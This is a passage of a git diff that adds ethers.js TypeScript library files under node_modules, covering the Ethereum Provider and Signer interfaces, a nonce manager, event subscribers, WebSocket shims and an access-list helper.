tx: { hash: string, blockHash: string, blockNumber: number }, + other?: { hash: string, blockHash: string, blockNumber: number } +} | { + orphan: "drop-log", + log: { + transactionHash: string, + blockHash: string, + blockNumber: number, + address: string, + data: string, + topics: ReadonlyArray, + index: number + } +}; + +function createOrphanedBlockFilter(block: { hash: string, number: number }): OrphanFilter { + return { orphan: "drop-block", hash: block.hash, number: block.number }; +} + +function createReorderedTransactionFilter(tx: { hash: string, blockHash: string, blockNumber: number }, other?: { hash: string, blockHash: string, blockNumber: number }): OrphanFilter { + return { orphan: "reorder-transaction", tx, other }; +} + +function createRemovedTransactionFilter(tx: { hash: string, blockHash: string, blockNumber: number }): OrphanFilter { + return { orphan: "drop-transaction", tx }; +} + +function createRemovedLogFilter(log: { blockHash: string, transactionHash: string, blockNumber: number, address: string, data: string, topics: ReadonlyArray, index: number }): OrphanFilter { + return { orphan: "drop-log", log: { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + address: log.address, + data: log.data, + topics: Object.freeze(log.topics.slice()), + index: log.index + } }; +} + +////////////////////// +// EventFilter + +/** + * A **TopicFilter** provides a struture to define bloom-filter + * queries. + * + * Each field that is ``null`` matches **any** value, a field that is + * a ``string`` must match exactly that value and ``array`` is + * effectively an ``OR``-ed set, where any one of those values must + * match. + */ +export type TopicFilter = Array>; + +// @TODO: +//export type DeferableTopicFilter = Array | Array>>; + +/** + * An **EventFilter** allows efficiently filtering logs (also known as + * events) using bloom filters included within blocks. + */ +export interface EventFilter { + address?: AddressLike | Array; + topics?: TopicFilter; +} + +/** + * A **Filter** allows searching a specific range of blocks for mathcing + * logs. + */ +export interface Filter extends EventFilter { + + /** + * The start block for the filter (inclusive). + */ + fromBlock?: BlockTag; + + /** + * The end block for the filter (inclusive). + */ + toBlock?: BlockTag; +} + +/** + * A **FilterByBlockHash** allows searching a specific block for mathcing + * logs. + */ +export interface FilterByBlockHash extends EventFilter { + /** + * The blockhash of the specific block for the filter. + */ + blockHash?: string; +} + + +////////////////////// +// ProviderEvent + +/** + * A **ProviderEvent** provides the types of events that can be subscribed + * to on a [[Provider]]. + * + * Each provider may include additional possible events it supports, but + * the most commonly supported are: + * + * **``"block"``** - calls the listener with the current block number on each + * new block. + * + * **``"error"``** - calls the listener on each async error that occurs during + * the event loop, with the error. + * + * **``"debug"``** - calls the listener on debug events, which can be used to + * troubleshoot network errors, provider problems, etc. + * + * **``transaction hash``** - calls the listener on each block after the + * transaction has been mined; generally ``.once`` is more appropriate for + * this event. + * + * **``Array``** - calls the listener on each log that matches the filter. + * + * [[EventFilter]] - calls the listener with each matching log + */ +export type ProviderEvent = string | Array> | EventFilter | OrphanFilter; + + +////////////////////// +// Provider + +/** + * A **Provider** is the primary method to interact with the read-only + * content on Ethereum. + * + * It allows access to details about accounts, blocks and transactions + * and the ability to query event logs and simulate contract execution. + * + * Account data includes the [balance](getBalance), + * [transaction count](getTransactionCount), [code](getCode) and + * [state trie storage](getStorage). + * + * Simulating execution can be used to [call](call), + * [estimate gas](estimateGas) and + * [get transaction results](getTransactionResult). + * + * The [[broadcastTransaction]] is the only method which allows updating + * the blockchain, but it is usually accessed by a [[Signer]], since a + * private key must be used to sign the transaction before it can be + * broadcast. + */ +export interface Provider extends ContractRunner, EventEmitterable, NameResolver { + + /** + * The provider iteself. + * + * This is part of the necessary API for executing a contract, as + * it provides a common property on any [[ContractRunner]] that + * can be used to access the read-only portion of the runner. + */ + provider: this; + + /** + * Shutdown any resources this provider is using. No additional + * calls should be made to this provider after calling this. + */ + destroy(): void; + + //////////////////// + // State + + /** + * Get the current block number. + */ + getBlockNumber(): Promise; + + /** + * Get the connected [[Network]]. + */ + getNetwork(): Promise; + + /** + * Get the best guess at the recommended [[FeeData]]. + */ + getFeeData(): Promise; + + + //////////////////// + // Account + + /** + * Get the account balance (in wei) of %%address%%. If %%blockTag%% + * is specified and the node supports archive access for that + * %%blockTag%%, the balance is as of that [[BlockTag]]. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getBalance(address: AddressLike, blockTag?: BlockTag): Promise; + + /** + * Get the number of transactions ever sent for %%address%%, which + * is used as the ``nonce`` when sending a transaction. If + * %%blockTag%% is specified and the node supports archive access + * for that %%blockTag%%, the transaction count is as of that + * [[BlockTag]]. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getTransactionCount(address: AddressLike, blockTag?: BlockTag): Promise; + + /** + * Get the bytecode for %%address%%. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getCode(address: AddressLike, blockTag?: BlockTag): Promise + + /** + * Get the storage slot value for %%address%% at slot %%position%%. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getStorage(address: AddressLike, position: BigNumberish, blockTag?: BlockTag): Promise + + + //////////////////// + // Execution + + /** + * Estimates the amount of gas required to execute %%tx%%. + */ + estimateGas(tx: TransactionRequest): Promise; + + /** + * Simulate the execution of %%tx%%. If the call reverts, it will + * throw a [[CallExceptionError]] which includes the revert data. + */ + call(tx: TransactionRequest): Promise + + /** + * Broadcasts the %%signedTx%% to the network, adding it to the + * memory pool of any node for which the transaction meets the + * rebroadcast requirements. + */ + broadcastTransaction(signedTx: string): Promise; + + + //////////////////// + // Queries + + /** + * Resolves to the block for %%blockHashOrBlockTag%%. + * + * If %%prefetchTxs%%, and the backend supports including transactions + * with block requests, all transactions will be included and the + * [[Block]] object will not need to make remote calls for getting + * transactions. + */ + getBlock(blockHashOrBlockTag: BlockTag | string, prefetchTxs?: boolean): Promise; + + /** + * Resolves to the transaction for %%hash%%. + * + * If the transaction is unknown or on pruning nodes which + * discard old transactions this resolves to ``null``. + */ + getTransaction(hash: string): Promise; + + /** + * Resolves to the transaction receipt for %%hash%%, if mined. + * + * If the transaction has not been mined, is unknown or on + * pruning nodes which discard old transactions this resolves to + * ``null``. + */ + getTransactionReceipt(hash: string): Promise; + + /** + * Resolves to the result returned by the executions of %%hash%%. + * + * This is only supported on nodes with archive access and with + * the necessary debug APIs enabled. + */ + getTransactionResult(hash: string): Promise; + + + //////////////////// + // Bloom-filter Queries + + /** + * Resolves to the list of Logs that match %%filter%% + */ + getLogs(filter: Filter | FilterByBlockHash): Promise>; + + + //////////////////// + // ENS + + /** + * Resolves to the address configured for the %%ensName%% or + * ``null`` if unconfigured. + */ + resolveName(ensName: string): Promise; + + /** + * Resolves to the ENS name associated for the %%address%% or + * ``null`` if the //primary name// is not configured. + * + * Users must perform additional steps to configure a //primary name//, + * which is not currently common. + */ + lookupAddress(address: string): Promise; + + /** + * Waits until the transaction %%hash%% is mined and has %%confirms%% + * confirmations. + */ + waitForTransaction(hash: string, confirms?: number, timeout?: number): Promise; + + /** + * Resolves to the block at %%blockTag%% once it has been mined. + * + * This can be useful for waiting some number of blocks by using + * the ``currentBlockNumber + N``. + */ + waitForBlock(blockTag?: BlockTag): Promise; +} diff --git a/node_modules/ethers/src.ts/providers/signer-noncemanager.ts b/node_modules/ethers/src.ts/providers/signer-noncemanager.ts new file mode 100644 index 000000000000..724bfe89ed1b --- /dev/null +++ b/node_modules/ethers/src.ts/providers/signer-noncemanager.ts @@ -0,0 +1,98 @@ +import { defineProperties } from "../utils/index.js"; +import { AbstractSigner } from "./abstract-signer.js"; + +import type { TypedDataDomain, TypedDataField } from "../hash/index.js"; + +import type { + BlockTag, Provider, TransactionRequest, TransactionResponse +} from "./provider.js"; +import type { Signer } from "./signer.js"; + + +/** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ +export class NonceManager extends AbstractSigner { + /** + * The Signer being managed. + */ + signer!: Signer; + + #noncePromise: null | Promise; + #delta: number; + + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer: Signer) { + super(signer.provider); + defineProperties(this, { signer }); + + this.#noncePromise = null; + this.#delta = 0; + } + + async getAddress(): Promise { + return this.signer.getAddress(); + } + + connect(provider: null | Provider): NonceManager { + return new NonceManager(this.signer.connect(provider)); + } + + async getNonce(blockTag?: BlockTag): Promise { + if (blockTag === "pending") { + if (this.#noncePromise == null) { + this.#noncePromise = super.getNonce("pending"); + } + + const delta = this.#delta; + return (await this.#noncePromise) + delta; + } + + return super.getNonce(blockTag); + } + + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment(): void { + this.#delta++; + } + + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset(): void { + this.#delta = 0; + this.#noncePromise = null; + } + + async sendTransaction(tx: TransactionRequest): Promise { + const noncePromise = this.getNonce("pending"); + this.increment(); + + tx = await this.signer.populateTransaction(tx); + tx.nonce = await noncePromise; + + // @TODO: Maybe handle interesting/recoverable errors? + // Like don't increment if the tx was certainly not sent + return await this.signer.sendTransaction(tx); + } + + signTransaction(tx: TransactionRequest): Promise { + return this.signer.signTransaction(tx); + } + + signMessage(message: string | Uint8Array): Promise { + return this.signer.signMessage(message); + } + + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise { + return this.signer.signTypedData(domain, types, value); + } +} diff --git a/node_modules/ethers/src.ts/providers/signer.ts b/node_modules/ethers/src.ts/providers/signer.ts new file mode 100644 index 000000000000..a3c3d6baa7a0 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/signer.ts @@ -0,0 +1,166 @@ + +import type { Addressable, NameResolver } from "../address/index.js"; +import type { + AuthorizationRequest, TypedDataDomain, TypedDataField +} from "../hash/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; + +import type { ContractRunner } from "./contracts.js"; +import type { BlockTag, Provider, TransactionRequest, TransactionResponse } from "./provider.js"; + +/** + * A Signer represents an account on the Ethereum Blockchain, and is most often + * backed by a private key represented by a mnemonic or residing on a Hardware Wallet. + * + * The API remains abstract though, so that it can deal with more advanced exotic + * Signing entities, such as Smart Contract Wallets or Virtual Wallets (where the + * private key may not be known). + */ +export interface Signer extends Addressable, ContractRunner, NameResolver { + + /** + * The [[Provider]] attached to this Signer (if any). + */ + provider: null | Provider; + + /** + * Returns a new instance of this Signer connected to //provider// or detached + * from any Provider if null. + */ + connect(provider: null | Provider): Signer; + + + //////////////////// + // State + + /** + * Get the address of the Signer. + */ + getAddress(): Promise; + + /** + * Gets the next nonce required for this Signer to send a transaction. + * + * @param blockTag - The blocktag to base the transaction count on, keep in mind + * many nodes do not honour this value and silently ignore it [default: ``"latest"``] + */ + getNonce(blockTag?: BlockTag): Promise; + + + //////////////////// + // Preparation + + /** + * Prepares a {@link TransactionRequest} for calling: + * - resolves ``to`` and ``from`` addresses + * - if ``from`` is specified , check that it matches this Signer + * + * @param tx - The call to prepare + */ + populateCall(tx: TransactionRequest): Promise>; + + /** + * Prepares a {@link TransactionRequest} for sending to the network by + * populating any missing properties: + * - resolves ``to`` and ``from`` addresses + * - if ``from`` is specified , check that it matches this Signer + * - populates ``nonce`` via ``signer.getNonce("pending")`` + * - populates ``gasLimit`` via ``signer.estimateGas(tx)`` + * - populates ``chainId`` via ``signer.provider.getNetwork()`` + * - populates ``type`` and relevant fee data for that type (``gasPrice`` + * for legacy transactions, ``maxFeePerGas`` for EIP-1559, etc) + * + * @note Some Signer implementations may skip populating properties that + * are populated downstream; for example JsonRpcSigner defers to the + * node to populate the nonce and fee data. + * + * @param tx - The call to prepare + */ + populateTransaction(tx: TransactionRequest): Promise>; + + + //////////////////// + // Execution + + /** + * Estimates the required gas required to execute //tx// on the Blockchain. This + * will be the expected amount a transaction will require as its ``gasLimit`` + * to successfully run all the necessary computations and store the needed state + * that the transaction intends. + * + * Keep in mind that this is **best efforts**, since the state of the Blockchain + * is in flux, which could affect transaction gas requirements. + * + * @throws UNPREDICTABLE_GAS_LIMIT A transaction that is believed by the node to likely + * fail will throw an error during gas estimation. This could indicate that it + * will actually fail or that the circumstances are simply too complex for the + * node to take into account. In these cases, a manually determined ``gasLimit`` + * will need to be made. + */ + estimateGas(tx: TransactionRequest): Promise; + + /** + * Evaluates the //tx// by running it against the current Blockchain state. This + * cannot change state and has no cost in ether, as it is effectively simulating + * execution. + * + * This can be used to have the Blockchain perform computations based on its state + * (e.g. running a Contract's getters) or to simulate the effect of a transaction + * before actually performing an operation. + */ + call(tx: TransactionRequest): Promise; + + /** + * Resolves an ENS Name to an address. + */ + resolveName(name: string): Promise; + + + //////////////////// + // Signing + + /** + * Signs %%tx%%, returning the fully signed transaction. This does not + * populate any additional properties within the transaction. + */ + signTransaction(tx: TransactionRequest): Promise; + + /** + * Sends %%tx%% to the Network. The ``signer.populateTransaction(tx)`` + * is called first to ensure all necessary properties for the + * transaction to be valid have been popualted first. + */ + sendTransaction(tx: TransactionRequest): Promise; + + /** + * Signs an [[link-eip-191]] prefixed personal message. + * + * If the %%message%% is a string, it is signed as UTF-8 encoded bytes. It is **not** + * interpretted as a [[BytesLike]]; so the string ``"0x1234"`` is signed as six + * characters, **not** two bytes. + * + * To sign that example as two bytes, the Uint8Array should be used + * (i.e. ``new Uint8Array([ 0x12, 0x34 ])``). + */ + signMessage(message: string | Uint8Array): Promise; + + /** + * Signs the [[link-eip-712]] typed data. + */ + signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; + + /** + * Prepares an [[AuthorizationRequest]] for authorization by + * populating any missing properties: + * - resolves ``address`` (if an Addressable or ENS name) + * - populates ``nonce`` via ``signer.getNonce("pending")`` + * - populates ``chainId`` via ``signer.provider.getNetwork()`` + */ + populateAuthorization(auth: AuthorizationRequest): Promise; + + /** + * Signs an %%authorization%% to be used in [[link-eip-7702]] + * transactions. + */ + authorize(authorization: AuthorizationRequest): Promise; +} diff --git a/node_modules/ethers/src.ts/providers/subscriber-connection.ts b/node_modules/ethers/src.ts/providers/subscriber-connection.ts new file mode 100644 index 000000000000..2e9f73b38a57 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/subscriber-connection.ts @@ -0,0 +1,74 @@ + +import { getNumber } from "../utils/index.js"; + +import type { Subscriber } from "./abstract-provider.js"; + + +//#TODO: Temp +import type { Provider } from "./provider.js"; + +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export interface ConnectionRpcProvider extends Provider { + //send(method: string, params: Array): Promise; + _subscribe(param: Array, processFunc: (result: any) => void): number; + _unsubscribe(filterId: number): void; +} + +/** + * @TODO + * + * @_docloc: api/providers/abstract-provider + */ +export class BlockConnectionSubscriber implements Subscriber { + #provider: ConnectionRpcProvider; + #blockNumber: number; + + #running: boolean; + + #filterId: null | number; + + constructor(provider: ConnectionRpcProvider) { + this.#provider = provider; + this.#blockNumber = -2; + this.#running = false; + this.#filterId = null; + } + + start(): void { + if (this.#running) { return; } + this.#running = true; + + this.#filterId = this.#provider._subscribe([ "newHeads" ], (result: any) => { + const blockNumber = getNumber(result.number); + const initial = (this.#blockNumber === -2) ? blockNumber: (this.#blockNumber + 1) + for (let b = initial; b <= blockNumber; b++) { + this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + }); + } + + stop(): void { + if (!this.#running) { return; } + this.#running = false; + + if (this.#filterId != null) { + this.#provider._unsubscribe(this.#filterId); + this.#filterId = null; + } + } + + pause(dropWhilePaused?: boolean): void { + if (dropWhilePaused) { this.#blockNumber = -2; } + this.stop(); + } + + resume(): void { + this.start(); + } +} + diff --git a/node_modules/ethers/src.ts/providers/subscriber-filterid.ts b/node_modules/ethers/src.ts/providers/subscriber-filterid.ts new file mode 100644 index 000000000000..ecc1334d4833 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/subscriber-filterid.ts @@ -0,0 +1,199 @@ +import { isError } from "../utils/index.js"; + +import { PollingEventSubscriber } from "./subscriber-polling.js"; + +import type { AbstractProvider, Subscriber } from "./abstract-provider.js"; +import type { Network } from "./network.js"; +import type { EventFilter } from "./provider.js"; +import type { JsonRpcApiProvider } from "./provider-jsonrpc.js"; + +function copy(obj: any): any { + return JSON.parse(JSON.stringify(obj)); +} + +/** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ +export class FilterIdSubscriber implements Subscriber { + #provider: JsonRpcApiProvider; + + #filterIdPromise: null | Promise; + #poller: (b: number) => Promise; + + #running: boolean; + + #network: null | Network; + + #hault: boolean; + + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider: JsonRpcApiProvider) { + this.#provider = provider; + + this.#filterIdPromise = null; + this.#poller = this.#poll.bind(this); + + this.#running = false; + + this.#network = null; + + this.#hault = false; + } + + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider: JsonRpcApiProvider): Promise { + throw new Error("subclasses must override this"); + } + + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider: AbstractProvider, result: Array): Promise { + throw new Error("subclasses must override this"); + } + + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider: AbstractProvider): Subscriber { + throw new Error("subclasses must override this"); + } + + async #poll(blockNumber: number): Promise { + try { + // Subscribe if necessary + if (this.#filterIdPromise == null) { + this.#filterIdPromise = this._subscribe(this.#provider); + } + + // Get the Filter ID + let filterId: null | string = null; + try { + filterId = await this.#filterIdPromise; + } catch (error) { + if (!isError(error, "UNSUPPORTED_OPERATION") || error.operation !== "eth_newFilter") { + throw error; + } + } + + // The backend does not support Filter ID; downgrade to + // polling + if (filterId == null) { + this.#filterIdPromise = null; + this.#provider._recoverSubscriber(this, this._recover(this.#provider)); + return; + } + + const network = await this.#provider.getNetwork(); + if (!this.#network) { this.#network = network; } + + if ((this.#network as Network).chainId !== network.chainId) { + throw new Error("chaid changed"); + } + + if (this.#hault) { return; } + + const result = await this.#provider.send("eth_getFilterChanges", [ filterId ]); + await this._emitResults(this.#provider, result); + } catch (error) { console.log("@TODO", error); } + + this.#provider.once("block", this.#poller); + } + + #teardown(): void { + const filterIdPromise = this.#filterIdPromise; + if (filterIdPromise) { + this.#filterIdPromise = null; + filterIdPromise.then((filterId) => { + if (this.#provider.destroyed) { return; } + this.#provider.send("eth_uninstallFilter", [ filterId ]); + }); + } + } + + start(): void { + if (this.#running) { return; } + this.#running = true; + + this.#poll(-2); + } + + stop(): void { + if (!this.#running) { return; } + this.#running = false; + + this.#hault = true; + this.#teardown(); + this.#provider.off("block", this.#poller); + } + + pause(dropWhilePaused?: boolean): void { + if (dropWhilePaused){ this.#teardown(); } + this.#provider.off("block", this.#poller); + } + + resume(): void { this.start(); } +} + +/** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ +export class FilterIdEventSubscriber extends FilterIdSubscriber { + #event: EventFilter; + + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider: JsonRpcApiProvider, filter: EventFilter) { + super(provider); + this.#event = copy(filter); + } + + _recover(provider: AbstractProvider): Subscriber { + return new PollingEventSubscriber(provider, this.#event); + } + + async _subscribe(provider: JsonRpcApiProvider): Promise { + const filterId = await provider.send("eth_newFilter", [ this.#event ]); + return filterId; + } + + async _emitResults(provider: JsonRpcApiProvider, results: Array): Promise { + for (const result of results) { + provider.emit(this.#event, provider._wrapLog(result, provider._network)); + } + } +} + +/** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ +export class FilterIdPendingSubscriber extends FilterIdSubscriber { + async _subscribe(provider: JsonRpcApiProvider): Promise { + return await provider.send("eth_newPendingTransactionFilter", [ ]); + } + + async _emitResults(provider: JsonRpcApiProvider, results: Array): Promise { + for (const result of results) { + provider.emit("pending", result); + } + } +} diff --git a/node_modules/ethers/src.ts/providers/subscriber-polling.ts b/node_modules/ethers/src.ts/providers/subscriber-polling.ts new file mode 100644 index 000000000000..6b048be8bb34 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/subscriber-polling.ts @@ -0,0 +1,321 @@ +import { assert, isHexString } from "../utils/index.js"; + +import type { AbstractProvider, Subscriber } from "./abstract-provider.js"; +import type { EventFilter, OrphanFilter, ProviderEvent } from "./provider.js"; + +function copy(obj: any): any { + return JSON.parse(JSON.stringify(obj)); +} + +/** + * Return the polling subscriber for common events. + * + * @_docloc: api/providers/abstract-provider + */ +export function getPollingSubscriber(provider: AbstractProvider, event: ProviderEvent): Subscriber { + if (event === "block") { return new PollingBlockSubscriber(provider); } + if (isHexString(event, 32)) { return new PollingTransactionSubscriber(provider, event); } + + assert(false, "unsupported polling event", "UNSUPPORTED_OPERATION", { + operation: "getPollingSubscriber", info: { event } + }); +} + +// @TODO: refactor this + +/** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingBlockSubscriber implements Subscriber { + #provider: AbstractProvider; + #poller: null | number; + + #interval: number; + + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber: number; + + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider: AbstractProvider) { + this.#provider = provider; + this.#poller = null; + this.#interval = 4000; + + this.#blockNumber = -2; + } + + /** + * The polling interval. + */ + get pollingInterval(): number { return this.#interval; } + set pollingInterval(value: number) { this.#interval = value; } + + async #poll(): Promise { + try { + const blockNumber = await this.#provider.getBlockNumber(); + + // Bootstrap poll to setup our initial block number + if (this.#blockNumber === -2) { + this.#blockNumber = blockNumber; + return; + } + + // @TODO: Put a cap on the maximum number of events per loop? + + if (blockNumber !== this.#blockNumber) { + for (let b = this.#blockNumber + 1; b <= blockNumber; b++) { + // We have been stopped + if (this.#poller == null) { return; } + + await this.#provider.emit("block", b); + } + + this.#blockNumber = blockNumber; + } + + } catch (error) { + // @TODO: Minor bump, add an "error" event to let subscribers + // know things went awry. + //console.log(error); + } + + // We have been stopped + if (this.#poller == null) { return; } + + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + } + + start(): void { + if (this.#poller) { return; } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + this.#poll(); + } + + stop(): void { + if (!this.#poller) { return; } + this.#provider._clearTimeout(this.#poller); + this.#poller = null; + } + + pause(dropWhilePaused?: boolean): void { + this.stop(); + if (dropWhilePaused) { this.#blockNumber = -2; } + } + + resume(): void { + this.start(); + } +} + + +/** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ +export class OnBlockSubscriber implements Subscriber { + #provider: AbstractProvider; + #poll: (b: number) => void; + #running: boolean; + + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider: AbstractProvider) { + this.#provider = provider; + this.#running = false; + this.#poll = (blockNumber: number) => { + this._poll(blockNumber, this.#provider); + } + } + + /** + * Called on every new block. + */ + async _poll(blockNumber: number, provider: AbstractProvider): Promise { + throw new Error("sub-classes must override this"); + } + + start(): void { + if (this.#running) { return; } + this.#running = true; + + this.#poll(-2); + this.#provider.on("block", this.#poll); + } + + stop(): void { + if (!this.#running) { return; } + this.#running = false; + + this.#provider.off("block", this.#poll); + } + + pause(dropWhilePaused?: boolean): void { this.stop(); } + resume(): void { this.start(); } +} + +export class PollingBlockTagSubscriber extends OnBlockSubscriber { + readonly #tag: string; + #lastBlock: number; + + constructor(provider: AbstractProvider, tag: string) { + super(provider); + this.#tag = tag; + this.#lastBlock = -2; + } + + pause(dropWhilePaused?: boolean): void { + if (dropWhilePaused) { this.#lastBlock = -2; } + super.pause(dropWhilePaused); + } + + async _poll(blockNumber: number, provider: AbstractProvider): Promise { + const block = await provider.getBlock(this.#tag); + if (block == null) { return; } + + if (this.#lastBlock === -2) { + this.#lastBlock = block.number; + } else if (block.number > this.#lastBlock) { + provider.emit(this.#tag, block.number); + this.#lastBlock = block.number; + } + } +} + + +/** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingOrphanSubscriber extends OnBlockSubscriber { + #filter: OrphanFilter; + + constructor(provider: AbstractProvider, filter: OrphanFilter) { + super(provider); + this.#filter = copy(filter); + } + + async _poll(blockNumber: number, provider: AbstractProvider): Promise { + throw new Error("@TODO"); + console.log(this.#filter); + } +} + +/** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingTransactionSubscriber extends OnBlockSubscriber { + #hash: string; + + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%hash%%. + */ + constructor(provider: AbstractProvider, hash: string) { + super(provider); + this.#hash = hash; + } + + async _poll(blockNumber: number, provider: AbstractProvider): Promise { + const tx = await provider.getTransactionReceipt(this.#hash); + if (tx) { provider.emit(this.#hash, tx); } + } +} + +/** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ +export class PollingEventSubscriber implements Subscriber { + #provider: AbstractProvider; + #filter: EventFilter; + #poller: (b: number) => void; + + #running: boolean; + + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber: number; + + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider: AbstractProvider, filter: EventFilter) { + this.#provider = provider; + this.#filter = copy(filter); + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#blockNumber = -2; + } + + async #poll(blockNumber: number): Promise { + // The initial block hasn't been determined yet + if (this.#blockNumber === -2) { return; } + + const filter = copy(this.#filter); + filter.fromBlock = this.#blockNumber + 1; + filter.toBlock = blockNumber; + + const logs = await this.#provider.getLogs(filter); + + // No logs could just mean the node has not indexed them yet, + // so we keep a sliding window of 60 blocks to keep scanning + if (logs.length === 0) { + if (this.#blockNumber < blockNumber - 60) { + this.#blockNumber = blockNumber - 60; + } + return; + } + + for (const log of logs) { + this.#provider.emit(this.#filter, log); + + // Only advance the block number when logs were found to + // account for networks (like BNB and Polygon) which may + // sacrifice event consistency for block event speed + this.#blockNumber = log.blockNumber; + } + } + + start(): void { + if (this.#running) { return; } + this.#running = true; + + if (this.#blockNumber === -2) { + this.#provider.getBlockNumber().then((blockNumber) => { + this.#blockNumber = blockNumber; + }); + } + this.#provider.on("block", this.#poller); + } + + stop(): void { + if (!this.#running) { return; } + this.#running = false; + + this.#provider.off("block", this.#poller); + } + + pause(dropWhilePaused?: boolean): void { + this.stop(); + if (dropWhilePaused) { this.#blockNumber = -2; } + } + + resume(): void { + this.start(); + } +} diff --git a/node_modules/ethers/src.ts/providers/ws-browser.ts b/node_modules/ethers/src.ts/providers/ws-browser.ts new file mode 100644 index 000000000000..3e9281f4b94d --- /dev/null +++ b/node_modules/ethers/src.ts/providers/ws-browser.ts @@ -0,0 +1,11 @@ + +function getGlobal(): any { + if (typeof self !== 'undefined') { return self; } + if (typeof window !== 'undefined') { return window; } + if (typeof global !== 'undefined') { return global; } + throw new Error('unable to locate global object'); +}; + +const _WebSocket = getGlobal().WebSocket; + +export { _WebSocket as WebSocket }; diff --git a/node_modules/ethers/src.ts/providers/ws.ts b/node_modules/ethers/src.ts/providers/ws.ts new file mode 100644 index 000000000000..09d86da2fe4c --- /dev/null +++ b/node_modules/ethers/src.ts/providers/ws.ts @@ -0,0 +1,3 @@ +export { WebSocket } from "ws"; + + diff --git a/node_modules/ethers/src.ts/thirdparty.d.ts b/node_modules/ethers/src.ts/thirdparty.d.ts new file mode 100644 index 000000000000..f35673325512 --- /dev/null +++ b/node_modules/ethers/src.ts/thirdparty.d.ts @@ -0,0 +1,16 @@ + + +declare module "ws" { + export class WebSocket { + constructor(...args: Array); + + onopen: null | ((...args: Array) => any); + onmessage: null | ((...args: Array) => any); + onerror: null | ((...args: Array) => any); + + readyState: number; + + send(payload: any): void; + close(code?: number, reason?: string): void; + } +} diff --git a/node_modules/ethers/src.ts/transaction/accesslist.ts b/node_modules/ethers/src.ts/transaction/accesslist.ts new file mode 100644 index 000000000000..1b4ddf3c9a01 --- /dev/null +++ b/node_modules/ethers/src.ts/transaction/accesslist.ts @@ -0,0 +1,43 @@ +import { getAddress } from "../address/index.js"; +import { assertArgument, isHexString } from "../utils/index.js"; + +import type { AccessList, AccessListish } from "./index.js"; + + +function accessSetify(addr: string, storageKeys: Array): { address: string,storageKeys: Array } { + return { + address: getAddress(addr), + storageKeys: storageKeys.map((storageKey, index) => { + assertArgument(isHexString(storageKey, 32), "invalid slot", `storageKeys[${ index }]`, storageKey); + return storageKey.toLowerCase(); + }) + }; +} + +/** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ +export function accessListify(value: AccessListish): AccessList { + if (Array.isArray(value)) { + return (] | { address: string, storageKeys: Array}>>value).map((set, index) => { + if (Array.isArray(set)) { + assertArgument(set.length === 2, "invalid slot set", `value[${ index }]`, set); + return accessSetify(set[0], set[1]) + } + assertArgument(set != null && typeof(set) === "object", "invalid address-slot set", "value", value); + return accessSetify(set.address, set.storageKeys); + }); + } + + assertArgument(value != null && typeof(value) === "object", "invalid access list", "value", value); + + const result: Array<{ address: string, storageKeys: Array }> = Object.keys(value).map((addr) => { + const storageKeys: Record = value[addr].reduce((accum, storageKey) => { + accum[storageKey] = true; + return accum; + }, >{ }); + return accessSetify(addr, Object.keys(storageKeys).sort()) + }); + result.sort((a, b) => (a.address.localeCompare(b.address))); + return result; +} diff --git a/node_modules/ethers/src.ts/transaction/address.ts 